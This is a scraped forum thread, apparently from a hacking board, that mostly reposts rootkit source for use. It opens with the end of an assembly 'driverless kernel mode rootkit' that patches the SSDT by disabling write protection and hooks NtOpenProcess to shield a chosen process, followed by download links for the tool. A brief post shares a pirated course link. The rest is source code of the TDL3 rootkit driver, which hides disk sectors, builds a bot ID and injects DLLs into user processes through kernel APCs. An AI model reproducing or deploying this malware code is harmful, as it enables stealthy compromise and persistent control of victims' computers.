[ebp+aKeServiceDescriptorTable];<--------------------------get the SSDT entry we want mov ebx, [eax] lea eax, dword ptr [ebx+ecx*4] mov ebx, [eax] mov [ebp+OldNtOpenProcess], ebx lea ebx, [ebp+NewNtOpenProcess];<-----------prepare the address of the hook within our implant push eax;<-----------------------------------------------------------------Temp disable WP bit mov eax,cr0 and eax,not 000010000h mov cr0,eax pop eax mov [eax], ebx;<-----------------------------------------------------Ok now write it into SSDT push eax;<------------------------------------------------------------------Temp enable WP bit mov eax,cr0 or eax,000010000h mov cr0,eax pop eax jmp EndHook ;This is the code that the SSDT entry now points to. ;this filter checks the name of the process to be opened ;if it is our chosen process access is denied ;this results in our process being unable to be terminated by normal means, no attaching debuggers, ;dll/code injection from user mode will not work on our protected process etc ;NTSYSAPI ;NTSTATUS ;NTAPI ;NtOpenProcess( ;OUT PHANDLE ProcessHandle, ;IN ACCESS_MASK DesiredAccess, ;IN POBJECT_ATTRIBUTES ObjectAttributes, ;IN PCLIENT_ID ClientId ; NewNtOpenProcess proc ProcessHandle:DWORD, DesiredAccess:DWORD, ObjectAttributes:DWORD, ClientId:DWORD pushad;<--------------------------------------------------------------------------save context pushfd call gECX gECX: pop ecx sub ecx, offset gECX FilterFunction: mov ebx, ClientId mov ebx, [ebx].CLIENT_ID.UniqueProcessId or ebx, ebx jz ExitHook;<-------------------------------------------------------------PID to Open was Zero pushad push ecx lea eax, [ecx+EPROCESS] push eax push ebx call [ecx+aPsLookupProcessByProcessId] pop ecx or eax, eax jnz ExitHook2;<-------------------------------------------------------------PID LookUp failed mov eax, [ecx+EPROCESS] push eax call [ecx+aPsGetProcessImageFileName];<-this API will give us the offset in ;_EPROCESS block of the filename mov esi, eax pushad mov eax, [ecx+EPROCESS] push eax call [ecx+aObDereferenceObject] popad mov dword ptr[esp+4], esi lea ebx, [ecx+ProcessFilter] push ebx push esi call [ecx+astricmp] jz Block add esp, 8h popad push ecx push esi push ebx push esp call [ecx+aPsGetCurrentProcessId] push eax lea eax, [ecx+DbgPrintFormat] push eax call [ecx+aDbgPrint] add esp, 14h pop ecx jmp ExitHook ExitHook2: popad ExitHook: mov ebx, dword ptr[ecx+OldNtOpenProcess] popfd mov dword ptr[esp-60h], ebx popad pop ebp jmp dword ptr[esp-84h] Block: add esp, 28h popfd popad mov eax, STATUS_ACCESS_DENIED ret 10h DbgPrintFormat db " Caller PID: %u Stack Ptr: 0x%x PID To Open: %u Process Name To Open: %s ",0 ProcessFilter db "iexplore.exe",0 EPROCESS dd 0 NewNtOpenProcess endp EndHook: lea esi, [ebp+Ring0Infection] push esi call [ebp+aDbgPrint] RestoreContextAndExit: RestoreContextExit StartAPIResolution: ResolveFuncs CodeEnd: CLIENT_ID STRUCT UniqueProcessId DWORD ? UniqueThreadId DWORD ? CLIENT_ID ENDS OldNtOpenProcess dd 0 STATUS_ACCESS_DENIED equ 0c0000022h FunctionResolutionCounter equ 9h;<---Increment by number of extra function hashes added aNTOSKRNL dd 0 NTOSKRNLHashes:;<---------------------------------------------------------Add your own hashes here dd 68FD2368h;<----------------------------------------------------------------------DbgPrint dd 0e60ee007h;<--------------------------------------------------------PsGetCurrentProcessId dd 001d92fdbh;<-----------------------------------------------------KeServiceDescriptorTable dd 0f0d09d60h;<----------------------------------------------------------------ZwOpenProcess dd 8f8f1b7eh;<-----------------------------------------------------------PsGetCurrentProcess dd 8be7eeech;<-----------------------------------------------------PsGetProcessImageFileName dd 0a3a0b82ah;<---------------------------------------------------PsLookupProcessByProcessId dd 2e053fd6h;<-----------------------------------------------------------ObDereferenceObject dd 0d73b454ah;<---------------------------------------------------------------------_stricmp ;so here NTOSKRNLFunctionAddresses:;<------------------------Then add a DWORD here for the resolved address aDbgPrint dd 0 aPsGetCurrentProcessId dd 0 aKeServiceDescriptorTable dd 0 aZwOpenProcess dd 0 aPsGetCurrentProcess dd 0 aPsGetProcessImageFileName dd 0 aPsLookupProcessByProcessId dd 0 aObDereferenceObject dd 0 astricmp dd 0 ;and here--- keep in order in other words ;<------------------------then they can be referenced in the code like call [ebp+aDbgPrint] etc... ImplantData: Ring0Infection db "RootKit Installed ",0 ResolutionNeeded dd 0 ;******************************************************************************* ***************** ;DO NOT place anything after this line as these DWORDS are expected to be present by the installer ;******************************************************************************* ***************** StackSaveAddress dd 0 PatchedFunctionAddr dd 0 PatchedFunctionHash dd 0;<----Must be patched with the hash of API b4 implanting ; so our code implanter must do this dd 0cccccccch;<--------------------------end marker DO NOT INCLUDE THIS DWORD IN SHELLCODE!! end Start Damouse.JPG (see attachment) shows Diagram showing infection of driver and integration into the Operating System KerioSunbeltDriverImplant.jpg (see attachment) Picture showing SSDT hooks belonging to infected security product driver - Sunbelt Personal Firewall, the NtOpenProcess SSDT hook actually belongs to our rootkit which you can see printing debug information Screenshots: http://www.opensc.ws/attachments/bots-rootkits/1241d1197724478-driverless-kernel-mode-rootkit-keriosunbeltdriverimplant.jpg http://www.opensc.ws/attachments/bots-rootkits/1242d1197724522-driverless-kernel-mode-rootkit-damouse.jpg Download: http://www.opensc.ws/attachments/bots-rootkits/1243d1197724650-driverless-kernel-mode-rootkit-damouseprototypeb.zip Sursa: Driverless Kernel Mode Rootkit
  4. Dar voi nu puteti vedea data postului? E vechi de 4 ani, normal ca e detectabil.
  5. PHP Basics An In Depth Beginner Course For Anyone Getting Started With PHP Topics taught include: - Using PHP in HTML documents - Variable Types - If / Else Statements - For Statements - Switch Statements - While Loops - Mathematical Operators - Include Statements - Functions - Arrays - Connecting to MySQL and Writing Values from the Database to HTML Download: http://www.megaupload.com/?d=SE9TUJCJ Password: hackhound.org Size: 140mb - Format: Mov + html Sursa: http://www.hackhound.org/forum/index.php?/topic/25192-php-basics-video-tutorial/
  6. [sRC] TDL3 Rootkit Driver #include "inc.h" #pragma comment(linker,"/subsystem:native /entry:DriverEntry") NT_BEGIN EXTERN_C_START DWORD GetDelta(); NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN); VOID GetEPNameOffset(); NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { PTDL_START ptsStart; PIMAGE_NT_HEADERS pinhHeader; GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry; pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart); ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START)); GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset; pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP; pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress; GetEPNameOffset(); *GET_TDL_ADDRESSES->cBotID=0; if(!NT_SUCCESS(Reinitialize(0,FALSE))) { IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize)); } return STATUS_SUCCESS; } VOID GetEPNameOffset() { CHAR cSystem[]={'S','y','s','t','e','m',0}; GET_TDL_ADDRESSES->dwEPNameOffset=0; while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0) { GET_TDL_ADDRESSES->dwEPNameOffset++; } return; } PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey) { DWORD dwData; for(dwData=0;dwData<dwSize;dwData++) { ((PBYTE)pvData)[dwData]^=dwData+bKey; } return pvData; }; NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress) { SCSI_REQUEST_BLOCK srbBuffer; SENSE_DATA sdData; IO_STATUS_BLOCK iosbStatus; KEVENT keEvent; PIRP piIrp; PMDL pmMdl; PIO_STACK_LOCATION pislStack; memset(&srbBuffer,0,sizeof(srbBuffer)); memset(&sdData,0,sizeof(sdData)); srbBuffer.Length=sizeof(srbBuffer); srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI; srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.CdbLength=CDB10GENERIC_LENGTH; srbBuffer.SenseInfoBufferLength=sizeof(sdData); srbBuffer.SenseInfoBuffer=&sdData; srbBuffer.DataTransferLength=dwBufferSize; srbBuffer.DataBuffer=pvBuffer; srbBuffer.TimeOutValue=5000; srbBuffer.QueueSortKey=dwAddress; srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.Cdb[0]=bOpCode; srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);Â srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);Â srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);Â srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff); if(dwAddress!=0) { DWORD dwSectors; dwSectors=dwBufferSize/0x200; srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8); srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff); } KeInitializeEvent(&keEvent,NotificationEvent,FALSE); piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE); if(piIrp!=0) { pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp); srbBuffer.OriginalRequest=piIrp; piIrp->MdlAddress=pmMdl; MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess); piIrp->UserIosb=&iosbStatus; piIrp->UserEvent=&keEvent; piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE; piIrp->Tail.Overlay.Thread=KeGetCurrentThread(); pislStack=IoGetNextIrpStackLocation(piIrp); pislStack->DeviceObject=pdoDevice; pislStack->MajorFunction=IRP_MJ_SCSI; pislStack->Parameters.Scsi.Srb=&srbBuffer; piIrp->CurrentLocation--; pislStack=IoGetNextIrpStackLocation(piIrp); piIrp->Tail.Overlay.CurrentStackLocation=pislStack; pislStack->DeviceObject=pdoDevice; if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING) { KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0); } return iosbStatus.Status; } return STATUS_INSUFFICIENT_RESOURCES; } extern "C" { #include "gz.cpp" #include "md4.cpp" #include "socket.cpp" #include "tdlini.cpp" #include "tdlfs.cpp" } NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext) { NTSTATUS ntsStatus; if(NT_SUCCESS(piIrp->IoStatus.Status)) { PVOID pvBuffer; PIO_STACK_LOCATION pislStack; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority); if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { DWORD dwOffset; if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector) { dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize; } else { dwOffset=0; } memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset); } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize)) { memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize); } } } } if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0) { ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext); } ExFreePool(pvContext); return ntsStatus; } NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp) { PIO_STACK_LOCATION pislStack; PDISK_COMPLETION pdcCompletion=0; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice) &&(pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)) { piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED; piIrp->IoStatus.Information=0; TDLFSDispatch(pdoDevice,piIrp); IoCompleteRequest(piIrp,IO_NO_INCREMENT); return piIrp->IoStatus.Status; } if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk) &&(!((pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))) &&(pislStack->MajorFunction==IRP_MJ_SCSI) &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI)) { BOOL bComplete=FALSE; BOOL bEnd=FALSE; if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize)) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } } } if(bEnd) { pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS; pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS; piIrp->IoStatus.Status=STATUS_SUCCESS; IoCompleteRequest(piIrp,IO_NO_INCREMENT); return STATUS_SUCCESS; } if(bComplete) { pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION)); if(pdcCompletion!=0) { pdcCompletion->picrCompletion=pislStack->CompletionRoutine; pdcCompletion->pvContext=pislStack->Context; pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey; pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; pislStack->Context=pdcCompletion; pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion); } } } return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp); } NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize) { CHAR cBotIDFormat[]={'%','x','%','x',0}; WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0}; UUID uuidBotID; UNICODE_STRING usName; HANDLE hVolume; FILE_FS_VOLUME_INFORMATION ffviInfo; IO_STATUS_BLOCK iosbStatus; OBJECT_ATTRIBUTES oaAttributes; RtlInitUnicodeString(&usName,wcVolumeObject); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ffviInfo.VolumeSerialNumber=0; if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT))) { ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation); ZwClose(hVolume); } if(ExUuidCreate(&uuidBotID)==0) { _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber); return STATUS_SUCCESS; } return STATUS_RETRY; } __declspec(naked) DWORD GetDelta() { __asm { call delta delta: pop eax sub eax,offset delta retn } } __declspec(noinline) PVOID GetNtoskrnlBase() { BYTE bIDT[6]; PIDT_ENTRY pieIDTEntry; PWORD pwAddress; __asm { sidt bIDT; } pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40); pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16)); do { pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE); if(*pwAddress=='ZM') { return (PVOID)pwAddress; } pwAddress--; } while(pwAddress!=0); return 0; } VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*) { ExFreePool(pkaApc); return; } NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert) { HANDLE hProcess; OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)}; CLIENT_ID cidProcess; PVOID pvMemory=0; DWORD dwSize; CHAR cDllReal[MAX_PATH]; CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0}; PCHAR pcDllReal; if(*pcDll!='\\') { dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1; pcDllReal=cDllReal; } else { pcDllReal=pcDll; dwSize=strlen(pcDll)+1; } cidProcess.UniqueProcess=hProcessID; cidProcess.UniqueThread=0; if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess))) { if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE))) { KAPC_STATE kasState; PKAPC pkaApc; KeStackAttachProcess(pepProcess,&kasState); strcpy(pvMemory,pcDllReal); KeUnstackDetachProcess(&kasState); pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); return STATUS_SUCCESS; } } ZwClose(hProcess); } return STATUS_NO_MEMORY; } VOID WIInjector(PVOID pvContext) { CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY; CHAR cSection[]=TDL_CONFIG_INJECTOR; CHAR cDll[MAX_PATH]; CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'d','a','t','e',0}; DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0); DWORD dwCurrent; LARGE_INTEGER liTime; KeQuerySystemTime(&liTime); RtlTimeToSecondsSince1970(&liTime,&dwCurrent); //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0}; //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0); //if(dwCurrent-dwDate>=60*24*60) { // DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1); if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } } KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE); return; } VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*) { WI_INJECT wiiItem; ExFreePool(pkaApc); wiiItem.pktThread=KeGetCurrentThread(); wiiItem.pepProcess=IoGetCurrentProcess(); wiiItem.hProcessID=PsGetCurrentProcessId(); KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE); ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem); ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue); KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0); return; } VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo) { if(FullImageName!=0) { WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0}; UNICODE_STRING usKernel32Mask; RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask); if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0)) { PKAPC pkaApc; if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0) { GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA); } pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); } } } return; } VOID WIKnock(PVOID pvWIKnock) { KEVENT keEvent; ExFreePool(pvWIKnock); /* CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; DWORD dwRand=(DWORD)rand()%100; DbgPrint(cDebug,cKey,dwRand); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); */ KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { LARGE_INTEGER liDelay; if((*GET_TDL_ADDRESSES->cBotID==0) &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID)))) { OBJECT_ATTRIBUTES oaAttributes; WCHAR wcBotID[0x10+sizeof(L'\\')+1]; WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0}; UNICODE_STRING usName; HANDLE hEvent; _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID); RtlInitUnicodeString(&usName,wcBotID); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE); return; } liDelay.QuadPart=(LONGLONG)-10*10000000; //liDelay.QuadPart=(LONGLONG)-1*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } return; } /* void WITimer(PVOID pvWITimer) { CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; KEVENT keEvent; ExFreePool(pvWITimer); KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { DWORD dwRand=(DWORD)rand()%100; LARGE_INTEGER liDelay; DbgPrint(cDebug,cKey,dwRand); //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); liDelay.QuadPart=(LONGLONG)-5*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } } */ PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; DWORD dwSection; pishHeader=IMAGE_FIRST_SECTION(pinhHeader); for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++) { if((dwRva>=pishHeader->VirtualAddress) &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize))) { return pishHeader; } pishHeader++; } return 0; } DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; pishHeader=RvaToSectionHeader(pinhHeader,dwRva); if(pishHeader!=0) { return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress); } return 0; } DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum) { DWORD dwBytes=dwSize; while(dwBytes>0) { if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0) { wChecksum++; } wChecksum+=*(PWORD)pvData; dwBytes-=sizeof(WORD); pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID); } return wChecksum+dwSize; } __declspec(noinline) DWORD HashString(PCHAR pcString) { DWORD dwResult=0; while(*pcString!=0) { dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++)); } return dwResult; } __declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash) { PIMAGE_NT_HEADERS pinhHeader; PIMAGE_EXPORT_DIRECTORY piedExport; PDWORD pdwNames; PDWORD pdwProcedures; PWORD pdwOrdinals; DWORD i; pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase); piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase); pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD); pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD); pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD); for(i=0;i<piedExport->NumberOfNames;i++) { if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash) { return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID); } } return 0; } NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp) { return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp); } NTSTATUS TDLInit(HANDLE hDriver) { BYTE bDeviceName[MAX_PATH]; DWORD dwSeed; DWORD dwCh; DWORD dwSize; GET_TDL_ADDRESSES->dwHiddenSectors=0; dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart; for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++) { GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a'))); } GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0; GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject; 